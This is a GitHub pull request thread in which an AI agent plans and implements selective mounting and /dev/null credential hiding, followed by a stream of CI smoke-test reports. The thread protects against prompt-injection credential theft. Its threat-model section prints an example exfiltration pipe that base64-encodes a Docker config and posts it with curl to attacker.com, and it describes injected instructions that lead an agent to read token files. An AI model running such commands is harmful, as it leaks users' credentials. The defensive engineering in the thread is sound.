feat: implement selective mounting to prevent credential exfiltration#681
feat: implement selective mounting to prevent credential exfiltration#681
Conversation
|
@claude[agent] come up with a plan to selectively mount only the most necessary directories in host /home/runner. Make sure that this works with chroot and without chroot. If a different set of directories need to be mounted in the two modes, be clear about which ones. |
I've analyzed the Current State AnalysisDirectories in
Selective Mounting StrategyMode 1: Normal Mode (without
|
| Aspect | Normal Mode | Chroot Mode |
|---|---|---|
| Mount prefix | Direct (e.g., /home/runner) |
Under /host (e.g., /host/home/runner) |
| System paths | Not mounted | Mounted at /host (for chroot environment) |
| Credentials | Hidden via /dev/null |
Hidden via /dev/null at /host paths |
| Workspace access | Direct via $GITHUB_WORKSPACE |
Via /host$HOME/work/ |
| Security level | High (selective mounting) | High (selective mounting + chroot isolation) |
What Gets Hidden (Both Modes)
These credential files are explicitly blocked by mounting /dev/null:
~/.docker/config.json- Docker Hub tokens~/.npmrc- NPM tokens~/.cargo/credentials- crates.io tokens~/.composer/auth.json- Composer tokens~/.config/gh/hosts.yml- GitHub CLI OAuth tokens
Implementation Plan
- Update normal mode to use selective mounting (remove blanket mount)
- Add credential hiding for both modes
- Add
--allow-full-filesystem-accessflag as escape hatch - Keep chroot mode selective mounting as-is (already secure)
- Test that credentials are inaccessible in both modes
This ensures consistent security across both modes while maintaining functionality for legitimate use cases.
|
@claude[agent] can you implement the selective mounting plan? please add documentation for what is being mounted and why, including a discussion of how prompt-injection could allow an attacker to use bash tools to access sensitive information in mounted volumes. |
- Add --allow-full-filesystem-access flag (opt-in for blanket mount) - Default to selective mounting in normal mode (same as chroot) - Hide credentials via /dev/null mounts: - ~/.docker/config.json (Docker Hub tokens) - ~/.config/gh/hosts.yml (GitHub CLI OAuth tokens) - ~/.npmrc (NPM tokens) - ~/.cargo/credentials (Rust tokens) - ~/.composer/auth.json (PHP tokens) - Add comprehensive documentation explaining threat model - Includes migration guide and security best practices This prevents prompt injection attacks from exfiltrating credentials even if the agent is compromised. Co-authored-by: lpcox <[email protected]>
Implemented selective mounting with comprehensive documentation. Changes (commit 313d763):
Documentation:
Inline code documentation -
The implementation ensures that even if a prompt injection attack succeeds in manipulating the agent, credentials remain inaccessible because they're simply not mounted (or mounted as empty files via /dev/null). |
- Add 12 integration tests verifying credential exfiltration protection - Test normal mode, chroot mode, and full filesystem access scenarios - Verify /dev/null mounting prevents credential access via prompt injection - Simulate real-world exfiltration attacks (cat | base64, grep for tokens) - Test both selective mounting (default) and full access flag - Update AwfRunner fixture to support allowFullFilesystemAccess option Tests verify: 1. Docker config.json hidden (empty file from /dev/null) 2. GitHub CLI hosts.yml hidden (no oauth tokens visible) 3. NPM .npmrc hidden (no auth tokens visible) 4. All credential files show 0 bytes (mounted from /dev/null) 5. Debug logs confirm credential hiding is active 6. Chroot mode hides credentials at /host paths 7. Full filesystem access flag shows security warnings 8. Full access flag bypasses selective mounting (for comparison) 9. Simulated base64 exfiltration attack gets empty data 10. Multiple encoding layers still get empty data 11. grep for credential patterns finds nothing 12. Files are "readable" but always empty (no permission errors) Related to PR comment: #652 (comment)
|
📰 VERDICT: Smoke Copilot has concluded. All systems operational. This is a developing story. 🎤 |
|
🎬 THE END — Smoke Claude MISSION: ACCOMPLISHED! The hero saves the day! ✨ |
|
Chroot tests passed! Smoke Chroot - All security and functionality tests succeeded. |
Smoke Test ResultsLast 2 merged PRs:
✅ GitHub MCP: Fetched recent PRs Status: PASS
|
Node.js Build Test Results
Overall: PASS ✅ All Node.js test projects successfully installed dependencies and passed their test suites.
|
|
@Mossaka only the test coverage CI is not passing. |
- Add SSH keys (id_rsa, id_ed25519, id_ecdsa, id_dsa) to hidden credentials - Add cloud provider credentials (AWS, Azure, GCP, k8s) to hidden credentials - Fix allowFullFilesystemAccess + enableChroot: blanket mount now works in both modes - Fix incorrect import (path from 'os' → os from 'os') in credential hiding tests - Fix misleading GITHUB_WORKSPACE docs (accessible via HOME mount, not separate mount) - Update unit tests: expect selective mounts by default, add tests for full access flag - Update docs to reflect expanded credential list in both modes Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>
|
Chroot tests passed! Smoke Chroot - All security and functionality tests succeeded. |
|
🎬 THE END — Smoke Claude MISSION: ACCOMPLISHED! The hero saves the day! ✨ |
|
📰 VERDICT: Smoke Copilot has concluded. All systems operational. This is a developing story. 🎤 |
|
✨ The prophecy is fulfilled... Smoke Codex has completed its mystical journey. The stars align. 🌟 |
✅ Coverage Check PassedOverall Coverage
📁 Per-file Coverage Changes (1 files)
Coverage comparison generated by |
Deno Build Test Results
Overall: ✅ PASS All Deno tests completed successfully.
|
Node.js Build Test Results
Overall: PASS ✅ All three Node.js projects successfully installed dependencies and passed their test suites.
|
Rust Build Test Results
Overall: PASS ✅ All Rust projects built and tested successfully.
|
Bun Build Test Results
Overall: PASS ✅ All Bun projects installed and tested successfully.
|
C++ Build Test Results
Overall: PASS All C++ projects built successfully.
|
Go Build Test Results
Overall: PASS ✅ All Go projects successfully downloaded dependencies and passed tests.
|
.NET Build Test Results
Overall: PASS All .NET projects successfully restored dependencies, built, and executed with correct output.
|
|
Smoke Test Results Recent PRs:
Tests: Status: PASS
|
Java Build Test Results ✅All Java projects compiled and tested successfully!
Overall: PASS ✅ Both projects successfully:
|
|
PRs reviewed:
|
|
Smoke Test Results Last 2 merged PRs:
✅ GitHub MCP Status: PASS
|
Chroot Version Comparison Test Results ❌The chroot mode version comparison tests have completed. Not all runtimes matched.
Summary
The version mismatches indicate that chroot mode is not successfully using the host's runtime binaries for Python and Node.js.
|
- Add --allow-full-filesystem-access flag to docs/usage.md - Add link to docs/selective-mounting.md in README.md - Update AGENTS.md container architecture to reflect selective mounting default - Update docs/architecture.md with security features: - Selective mounting and credential protection - One-shot token library (LD_PRELOAD) - MCP logs directory protection Changes sync documentation with code from PRs: - #681 (selective mounting) - #706, #709, #710 (mcp-logs hiding) - #604, #640 (one-shot token library)
Implements selective mounting security feature to protect against credential exfiltration via prompt injection attacks.
Security Threat Model
AI agents can be manipulated through prompt injection attacks where malicious instructions embedded in data (e.g., web pages, files, API responses) trick the agent into executing unintended commands. An attacker could inject instructions to read sensitive credential files using bash tools:
cat ~/.docker/config.json | base64 | curl -X POST https://attacker.comcat ~/.config/gh/hosts.ymlto exfiltrate GitHub OAuth tokensChanges Made
1. Selective Mounting (Default Behavior)
/:/host:rwmount in normal mode$HOME(workspace),$GITHUB_WORKSPACE, Copilot logs/dev/nulloverlay: Docker Hub, GitHub CLI, NPM, Cargo, Composer tokens2. New CLI Flag
--allow-full-filesystem-accessflag as escape hatch for edge cases3. Documentation
docs/selective-mounting.mdwith comprehensive security guide4. Testing
tests/integration/credential-hiding.test.ts/dev/null)Credentials Protected
The following credential files are hidden by mounting
/dev/nullover them:~/.docker/config.json- Docker Hub tokens~/.config/gh/hosts.yml- GitHub CLI OAuth tokens~/.npmrc- NPM registry tokens~/.cargo/credentials- Rust crates.io tokens~/.composer/auth.json- PHP Composer tokensImplementation Details
Normal Mode:
$HOME,$GITHUB_WORKSPACE,~/.copilot/logs~/.docker/,~/.config/gh/, etc.Chroot Mode:
/hostprefix/host/home/runner/.docker/, etc.Security Mechanism:
/dev/nulloverlays make credential files appear "readable" but always empty (no permission errors that might alert an attacker).Testing
The implementation provides defense-in-depth against prompt injection attacks while maintaining full functionality for legitimate use cases.